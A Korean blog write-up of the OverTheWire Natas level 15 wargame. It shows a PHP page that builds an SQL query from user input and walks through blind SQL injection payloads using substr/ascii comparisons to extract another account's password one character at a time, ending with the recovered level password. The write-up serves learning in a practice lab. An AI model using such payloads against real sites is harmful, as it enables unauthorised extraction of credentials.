[ Natas 15 -> Natas 16 PHP Injection ( 비밀번호 유추 ) ]

2017. 9. 28. 21:37WebHacking/[OverTheWire]Natas



1> 첫 페이지


2> 페이지 소스코드


3> DB에는 username=natas16 만이 존재함


4> PHP 소스코드 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<? 
/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 
 
if(array_key_exists("username"$_REQUEST)) { 
    $link = mysql_connect('localhost''natas15''<censored>'); 
    mysql_select_db('natas15'$link); 
     
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""
    if(array_key_exists("debug"$_GET)) { 
        echo "Executing query: $query<br>"
    } 
 
    $res = mysql_query($query$link);     // natas15 DB에 연결해서 $query쿼리문 실행
    if($res) { 
    if(mysql_num_rows($res> 0) {         // 해당 쿼리문이 정상 실행되어 데이터를 가져왔다면
        echo "This user exists.<br>";     
    } else { 
        echo "This user doesn't exist.<br>"
    } 
    } else { 
        echo "Error in query.<br>"
    } 
 
    mysql_close($link); 
else { 
?> 
 
<form action="index.php" method="POST"
Username: <input name="username"><br
<input type="submit" value="Check existence" /
</form
<? } ?> 
cs


5> PHP Injection

PHP 소스코드 

$query="SELECT * from users where username=\"" . $_REQUEST["username"] . "\""; 


[1] username=natas16 ( 정상적인 쿼리문 )

=>실행 쿼리 : SELECT * FROM users WHERE username="natas16"; 


[2] username=natas16"%20and%201=1;%23 ( PHP Injection )

=>실행 쿼리 : SELECT * FROM users WHERE username="natas16" and 1=1;#"


[3-1] username=natas16"%20and%20ascii(length(password))>0%23; ( PHP Injection - 비밀번호 길이 유추 )

=>실행 쿼리 : SELECT * FROM users WHERE username="natas16" and ascii(length(password))>0;#"


[3-2] username=natas16"%20and%20ascii(length(password))=32%23; ( PHP Injection - 비밀번호 길이 유추 )

=>실행 쿼리 : SELECT * FROM users WHERE username="natas16" and ascii(length(password))=32;#"


0 부터 숫자를 증가시키면서 패스워드의 길이를 확인하자. 패스워드 길이는 32이이다


[4] natas16계정의 비밀번호의 각 자리수마다 일일히 확인해야 한다


[5] username=natas16%20and%20ascii(substr(password,1,1))>50;%23 ( PHP Injection )

=>실행 쿼리 : SELECT * FROM useres WHERE username="natas16" and ascii(substr(password,1,1))>50;#";

( natas16 계정의 비밀번호(password)의 첫번쨰 문자의 아스키 코드 10진수 값은 50보다 크다 ) 

( 범위를 줄여가면서 각 자리수 마다 모두 확인해야한다. 번거로우므로 자동화 프로그램을 작성하자 )


# substr( 문자열 , 시작 위치 , 개수 ) : 해당 문자열의 시작 위치 부터 개수만큼 문자를 가져온다

# ascii( 문자 ) : 해당 문자의 아스키 코드 10진수 값 반환


6> Python 자동화 프로그램


[ 파이썬 코드 ]


username 입력 시 " This user exists " 가 화면에 출력되는 것은 GET방식을 통해서 변조한 쿼리문이 참이라는 뜻이다

위 문자열을 출력시키는 아스키 코드값만이 진짜 패스워드에 해당 하는 것이다 따라서 화면에 출력하도록 하였다


[ Wireshark 에서  Natas서버로 가는 패킷들 확인 결과 ]


[ 실행 결과 ] 




natas16: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh